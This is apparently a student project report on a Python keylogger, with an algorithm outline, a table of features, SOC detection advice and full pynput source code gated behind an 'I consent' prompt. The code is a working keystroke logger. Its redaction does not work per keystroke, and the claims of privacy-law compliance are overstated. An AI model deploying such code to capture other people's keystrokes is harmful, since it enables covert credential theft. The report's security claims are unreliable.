Task – 04: Simple Keylogger

1. Introduction

In the cybersecurity domain, understanding input capture mechanisms is fundamental to both offence and defence. Although keyloggers are often associated with malicious software, they play a vital role in auditable session monitoring and lawful data collection. This project involved the design and implementation of a Python-based keylogger that meets the requirements for keystroke capture while ensuring that the design and implementation meet the "Security by Design" requirements for the ethical and lawful capture and storage of the captured data.

2. Objective

The objectives for the task were as follows:
Real-Time Capture: Develop a system that can intercept hardware-level keyboard input.
Privacy Compliance: Implement a feature that automatically redacts Personally Identifiable Information (PII), such as credit card numbers.
System Stability: Implement a feature that prevents the application from causing a Denial of Service (DoS) attack on the system through the use of log rotation.
Ethical Framework: Implement a feature that ensures the application has the consent and permission for the capture and use of the data.

3. Algorithm

The program follows a logical flow that meets the requirements for a reliable and secure program:
Environment Check: Checks for the pynput library to ensure that hardware hooks are supported.
User Mode Selection: Gives the user the option to run the application in **simulated** or **interactive** mode.
Consent Gate: If the application runs in interactive mode, the program remains idle and awaits the input "I consent."
Capture Mechanism:
The program runs a separate thread that listens for keyboard input.
The keys pressed are captured and converted to a string format.
Sanitisation Logic: Uses a Regular Expression (Regex) filter to sanitise the string. If the string matches a sequence of 12 or more digits, the string is replaced with the word "REDACTED."
Secure Storage: Stores the sanitised string in a log file via a RotatingFileHandler.
File Hardening: Changes the permissions of the log file to 600 using the chmod command.
Graceful Exit: Exits the program when the ESC key is pressed.

4. Key Security & Compliance Features

Feature	Technical Implementation	Security Benefit
Data Redaction	re.compile(r"\b\d{12,}\b")	Prevents the accidental logging of PII (Credit cards, IDs).
Log Rotation	maxBytes=500_000, backupCount=3	Prevents Denial of Service (DoS) via disk space exhaustion
Access Control	Controlos.chmod(path, 0o600)	Restricts log file visibility to the script owner only.
Informed Consent	Required string input "I consent"	Ensures the tool is used within an ethical/authorised framework.

5. Operational Modes

Mode 1: Simulated (Console-Based)

Used for testing and restricted environments, such as online IDEs. This mode records strings typed in using the standard input() function. This is useful for auditing specific command-line interactions without needing system privilege escalation.

Mode 2: Interactive (Hardware-Hook)

Utilises a Listener in the background, which records all individual keystrokes, including special keys like [Key.shift] or [Key.enter]. This is a high-fidelity audit log, which is critical in forensics and behaviour monitoring.

6. SOC Analyst Perspective (Detection & Forensics)

From a defensive perspective, this tool presents a perfect case study on the importance of monitoring for malicious logging activity:

Process Monitoring

The SOC Analyst would need to monitor for running Python processes that utilise keyboard hooks, such as SetWindowsHookEx on a Windows system or access to the /dev/input/ directory on a Linux system.

File Integrity Monitoring

The SOC Analyst would need to monitor for the creation of .log files in user-writable locations, such as the /tmp/ directory on a Linux system or the C:\Users\Public directory on a Windows system.

Permission Changes
The SOC Analyst would need to detect chmod changes on unusual files, which could indicate a tool attempting to conceal its output from other users.

7. Conclusion
The project has successfully shown that a common tool used in the hacking world, a keylogger, can be adapted into a useful auditing tool for a defensive perspective, promoting redaction and consent in line with all major cybersecurity standards and privacy laws, such as GDPR.

Implementation (Code):

```
#!/usr/bin/env python3
import re
import os
import logging
from logging.handlers import RotatingFileHandler

# Try to import pynput; HAS_PYNPUT will be False if not installed
try:
    from pynput.keyboard import Key, Listener
    HAS_PYNPUT = True
except ImportError:
    HAS_PYNPUT = False

LOG_PATH = "keylog.log"
EXIT_CMD = "exit"
REDACT_NUMS = re.compile(r"\b\d{12,}\b")

def redact(text: str) -> str:
    """Replace long numeric sequences with [REDACTED]."""
    return REDACT_NUMS.sub("[REDACTED]", text)

def setup_logger(path: str) -> logging.Logger:
    """Create rotating file logger with safe permissions."""
    logger = logging.getLogger("keylogger_pro")
    logger.setLevel(logging.INFO)
```

```
 # Avoid duplicate handlers if the script is re-run in an interactive shell
    if not logger.handlers:
        handler = RotatingFileHandler(path, maxBytes=500_000, backupCount=3)
        fmt = logging.Formatter("%(asctime)s - %(message)s", "%Y-%m-%d %H:%M:%S")
        handler.setFormatter(fmt)
        logger.addHandler(handler)

        # Security: Protect the log file on Unix-based systems
        try:
            open(path, "a").close()
            os.chmod(path, 0o600)
        except Exception:
            pass
    return logger

# Keylogger callback functions
def on_press(key):
    logger = logging.getLogger("keylogger_pro")
    try:
        k = str(key.char)
    except AttributeError:
        k = f" [{key}] "
    logger.info(redact(k))

def on_release(key):
    if key == Key.esc:
        print(f"\nStopped. Log saved to {os.path.abspath(LOG_PATH)}")
        return False

def simulated_mode():
    """Simulated mode for online IDEs or quick testing."""
    print("Running in SIMULATED mode (for online compilers).")
    logger = setup_logger(LOG_PATH)
    print(f"Type something and press Enter. Type '{EXIT_CMD}' to stop.")
    while True:
        line = input("> ")
        if line.strip().lower() == EXIT_CMD:
            print(f"Stopped. Log saved to {os.path.abspath(LOG_PATH)}")
            break
        logger.info(redact(line))
```

```
def interactive_mode():
    """Real keylogger mode for local environments."""
    if not HAS_PYNPUT:
        print("Error: 'pynput' library not found. Run 'pip install pynput' or use Simulated mode.")
        return

    print("Running in INTERACTIVE mode (Real-time Keylogger).")
    print("Type 'I consent' to start recording, or anything else to cancel.")
    consent = input("> ").strip().lower()

    if consent != "i consent":
        print("Consent not given — exiting.")
        return

    setup_logger(LOG_PATH)
    print(f"Recording started. Press 'ESC' to stop.\n")

    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()

if __name__ == "__main__":
    print("Select Mode:\n1. Simulated mode (Online use/Console input)\n2. Interactive mode
(Local use/Real Keylogger)")
    choice = input("Enter 1 or 2: ").strip()

    if choice == "1":
        simulated_mode()
    elif choice == "2":
        interactive_mode()
    else:
        print("Invalid selection.")
```